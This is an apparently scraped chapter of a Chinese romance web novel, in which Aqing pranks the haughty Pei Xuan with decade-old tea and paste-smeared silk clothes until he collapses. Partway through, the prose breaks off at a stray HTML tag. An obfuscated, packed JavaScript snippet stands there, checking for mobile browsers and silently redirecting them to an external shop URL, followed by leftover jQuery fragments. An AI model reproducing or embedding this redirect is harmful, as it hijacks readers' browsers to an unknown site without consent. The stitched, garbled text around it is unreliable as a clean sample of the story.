“你要喝茶吗?”
少女如黄鹂鸟般的声音从前方传来,还十分贴心的递过来了一杯橙悠悠的清茶,也不知道是不是她擦的香膏的原因,他嗅到了淡淡的茉莉花香。
香气难消,萦绕在他的鼻尖,一路攀延到他的脑中,让他回忆起有关茉莉花的种种过往,鬼使神差地……
他竟没有看出女娘那笑意中所含的不怀好意,反倒十分顺手地就接过了女娘递过来的茶碗。
少年高傲地仰着头,偷偷瞄了一眼那个漂亮的女娘,轻哼一声。
“算你识相。”
随后,骨节分明的手抬起那碗清茶就一饮而尽。
也就在他将清茶喝尽的瞬间,那一直在含笑的女娘急忙地从木凳上跳起来,往旁边一躲。
“噗——”
自幼锦衣玉食又十分在乎脸面的少年,在此刻都不在关乎自己还有没有形象一言,毫无顾忌地将口中的茶水全都给喷了出来。
喷完之后,许是还是觉得难受,他又连忙拿起桌上的茶壶,给自己又倒了一杯,都没看清便迫不及待地就喝了下去,结果可想而知。
“呸呸呸,呸呸呸,哕……”
少年这才发现,那茶壶中的茶,和少女递过来的一模一样!
早就站在一旁的少女拍了拍自己衣服。
还好还好,没被他喷出的茶水给溅到,不然可就难洗了……
少年怒气冲冲:“你给我喝的什么!”
阿青摸了摸鼻子,不敢看他,心虚地抬眼望了望天:“清…清茶啊。”
“这是清茶个鬼!满口的霉气,这分明就是陈茶!你这个坏女娘,就知道拿这些东西来害我!”
阿青本就被他刚才气恼了,这会儿才不怕他,胆子也愈发的大了起来,像只气昂昂的小狐狸,十分理直气壮地开口:“可是你说的,清茶越醇香越好。”
“人家常说,茶酒茶酒,那他俩肯定是不分家的,既然如此,酒越久越醇厚,那茶不也就同理吗?”
“所以,我好不容易翻箱倒柜,才找到了那么一小块的茶砖,约莫着也有十多年了,怎么样?味道醇厚不醇厚?”
裴玄:“……”
厚厚厚,醇厚个大头鬼!把他送走厚葬了还差不多,还醇厚。
这女娘想要杀了他就直说,一会儿绿米饭一会儿多年的老陈茶,不死也要被她酸死涩死。
裴玄气鼓鼓地看着阿青,发现她那双水灵灵的清澈杏眼,此刻正漾着诡计得逞后,止不住的狡黠。
不知道的还以为她从哪里得了良机,变得神采风扬的。
啧,也亏的她千辛万苦地哄着他吃下喝下,可就能耐着她了!
这种耍三岁小孩的游戏,他三岁就不玩了!也就只有她能够想得出来。
心眼多得都快赶得上摊贩上买的炸豆腐[1]了!
简直坏死了!
但许是被阿青这两次的捉弄整怕了,裴玄这下是真的受不住她的第三次捉弄了。
以她那颗谁也想不出里面究竟有什么的神奇脑袋来看,天知道他说的第三个要求,她能做到那种地步?
这会可着真真算得上是,敌在暗我在明了……
反正他算是彻底投降了。
他主动认输:“好了,我输了。”
“我不吃绿米饭,喝清茶,穿绸衣了。”
阿青认真拒绝:“不行,你可是病人,得要细养的。”
裴玄咬牙:“细养个屁!你要是真的细养我,你敢拿十多年的陈茶给我喝?!你就不怕我中毒晕死了!”
阿青心虚地摸了摸鼻子,眼睛微动的睫毛滞了一下。
遭了,她怎么没想到这个呢?
这…这该怎么编啊?
“我…我……”
见她我了个半天都还没有‘我’出个名堂来,裴玄看着实在是心累,大手一挥:“你别‘我’了。”
“小爷我已经知道你在耍我了,说一百个‘我’都没用。”
阿青一惊:“才…才没有!”
裴玄撇了撇嘴,阴阳怪气地学着她的语气:“才…才没有~”
阿青:“………”
啊啊啊啊他好讨厌!干嘛要学她!
而且她有这么明显吗?!她明明装得很好好吧!他学的一点都不像!简直是在污蔑她!
好坏!简直坏死了!坏小怡!
阿青没招了,也彻底破罐子破摔,凶巴巴地道:“那,干脆那碗茶毒死你好了。”
“嘁。”
裴玄见着她被他揭穿后,气鼓鼓地如同河里刚捞起来河豚鱼的模样,脸上毫不掩饰地弯起眉眼,扬起唇角,嗤笑了她一声。
“那要让阿青姑娘失望了,某向来身体硬朗,就算是下砒霜,怕是都要下三人份的量才能把我毒死。”
“你那点陈年老茶还不至于有那么大大威力,最多……”
少年话说到一半,视线落到少女紧咬地唇畔上,停了片刻。
阿青眨了眨眼睛:“最多什么?”
裴玄话到嘴边又转了个弯:
“最多嘛,让某不多不少刚刚好地烙下一个小小的病根,可这样一来,阿青姑娘这个‘罪魁祸首’,就得要对某负一辈子的责任咯。”
一听到这,女娘心头一紧,二话不说就把桌上的茶壶给拿了起来,打开茶壶,把其中的茶水全都倒在了树下,怕还留有残留,少女还抖了抖,真正做到了一滴不剩。
随后,她道:“没有了。”
饶是认识她这么久了,裴玄还不知道她究竟要做什么,于是凤眸微眯,耐心地等着她的下一句。
阿青撇过头,不去望着他,凶巴巴地开口:“这下把你毒坏的证据没了,你求爷爷告奶奶都没有用!”
“我…我才不照顾你一辈子!”
从没见过这么单纯的女娘的裴玄饶是再怎么生气,见到这一刻的阿青,气也都消得差不多了。
其实按理来说,再听到阿青说出‘才不会照顾你一辈子’的时候,裴玄应该是要生气的,可是当他看到站在大树底下,拿着茶壶,雄赳赳气昂昂的模样时,裴玄早就不知道生气两个字怎么写了。
怎么会有人生气也这么软软地,像只小兔子一样,乖的要命。
裴玄用手点了一下少女的头,低头凑到她面前问她:“如果不照顾过我的话。”
“那阿青姑娘想照顾谁?”
“其他外面不知底细的野男人吗?”
“可是外面的野男人都没有我好看,也没有我脾气好,长的跟大蜈蚣一样,又丑又臭,阿青姑娘难不成要去照顾他们?”
他说的很快,也靠得她很近,所以本就反应迟钝的阿青并没有察觉到他话中的陷阱,她只觉得有哪个地方有些怪怪的,可是又不知道哪里怪。
但他说的实在是可怕,阿青不假思索地就开口:“才不要。”
听见想要的答案,裴玄心情好了不少,继续又开口:“那不就得了。”
“像我这样长的好看,脾气又好,还爱干净不臭的男人可不多了。”
“所以啊,阿青姑娘,你要珍惜,要好好照顾我,知道吗?”
怕好声好气地说她记忆不深刻,裴玄还特意暗戳戳加了一句威胁:“不然遇到坏男人以后,他把你的女君像全都烧了,那可有得你哭的。”
一听到有人要烧她的女君像,阿青立马老实:“不…不照顾野男人。”
裴玄挑着眉,眼中漾着笑,沉着声音,似引诱般开口:“那你照顾谁?”
阿青咬着唇:“你。”
裴玄才不肯轻易放过这个一直玩文字游戏的女娘,将那张俊俏的脸又凑上了一些,继续追问:
“‘你’是谁?说出来。”
五官分明地俊脸突然地来到面前,离她不过两三指的距离,将阿青的心都抽动地跳快了许多。
阿青不敢去看他那双好看的琥珀色眸子,只好撇着燃起红晕的脸,小声嘀咕了一声。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900341|210514||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
裴玄才不会放过她:“说大声点,我听不见。”
阿青看了一眼他,见他一直盯着她,大有不听到哪两个字不罢休的感觉,阿青没了办法,只好又飞快地多道了几声。
“小怡小怡小怡小怡!”
“我照顾的人只有小怡一个!”
这下裴玄满意了,将点着她脑袋的手指换成了手掌,在她毛茸茸地脑袋上轻揉了一下,弯着眼睛,起唇道:
“阿青姑娘真好。”
被他这样一夸,阿青反倒不自在了,耳尖红的都要滴血,错开头不愿去看他。
见把女娘给哄住了,裴玄这才将刚才被她叉开的问题重新提出来。
“我那日除了说了碧粳米、清茶外,还说了一个绸衣,以我们阿青姑娘的聪明才智和手脚,怕是此刻那绸衣已经做好了吧?”
“既然发现了,阿青姑娘也别藏着掖着了,取出来看看吧。”
他倒要看看,这绸衣究竟和绿米陈茶有什么异曲同工之妙。
听到这话,阿青望向他,有些不理解。
明明他已经知道她在耍他了,还想着要看那东西,图什么?那东西长的又不好看,也没有什么特别的,甚至他看了还要被气一回,有什么好的?
阿青实在是不懂他。
阿青想劝他:“你真的要看?”
“看,东西都做好了,为什么不看?”这次不看,万一下次又惹这女娘不快了,她又偷偷害他呢?
君子不立危墙之下,他才不会给自己留一个隐患。
听着他的这话,阿青就知道没有逃避的可能了,只好认命地进屋,将一个承着衣服托盘端了出来,摆到木桌上。
阿青咬着唇:“你…你向我保证,看了之后不允许生气,也不允许骂我,更不许威胁我!”
裴玄望着那一如平常的和其他的衣服没有什么区别的衣服,有点不理解她刚才所说的话。
不就是普通的衣服吗?她再如何弄,还能弄出什么花来?他又能生气到哪里去?
这女娘怎么老是在危言耸听?
罢了罢了。
“行,我保证,我绝不生气,骂你,威胁你。”
见到裴玄做出来保证,阿青悬着的心终于放下了,随后将托盘放到他面前,示意他那起来。
裴玄上手的那一刻,他的手就被衣服上的东西给黏住了,他皱着眉头将手收回,看着手中粘腻极了的不明东西,对着那个女娘问:“这是什么?”
阿青咽了咽口水:“浆糊。”
“浆糊?这和衣服有什么关系?”
阿青眼神飘忽:“你说的越稠越好,那不就得浓稠一点吗?”
“我昨天特意熬的浆糊,花了好几个时辰,可稠可稠了,我还试过了,非常黏手,穿上以后起码要洗三次才能洗干净。”
早就在毫无防备下就摸了一手浆糊的裴玄:“……”
“那你不早说!”
阿青:“谁…谁知道你手那么快。”
裴玄正是被她气笑了,这回千防万防,还是以这样的方式入套了。
有时候他真的在想,这女娘脑子真的笨吗?怎么每次他要做什么,都会在她这里吃亏,简直诡异极了。
裴玄伸出手指了指她,咬着牙:“你真是好样的!”
见他大有要起身将手上的浆糊摸到自己身上的阿青默默地挪了一下自己坐在木凳上的屁股,不过两息的时间,就已经想好了待会他发作起来要逃离的路线。
等果不其然,少年气势汹汹地站起身来,二话不说地就要朝她扑来,阿青抬起腿准备起身。
可天有不测风云,她还没起身,就听见咚的一声,一声闷响后,就见那个身形高挑的男人狠狠地摔在了地上,双眼紧闭,像是完全昏厥了过去。
阿青被眼前的景象吓了一跳,心中一惊,身体比大脑反应更快,迅速地跪在地上,急切地查看着他的情况,脱口喊出他的名字:
“小怡!”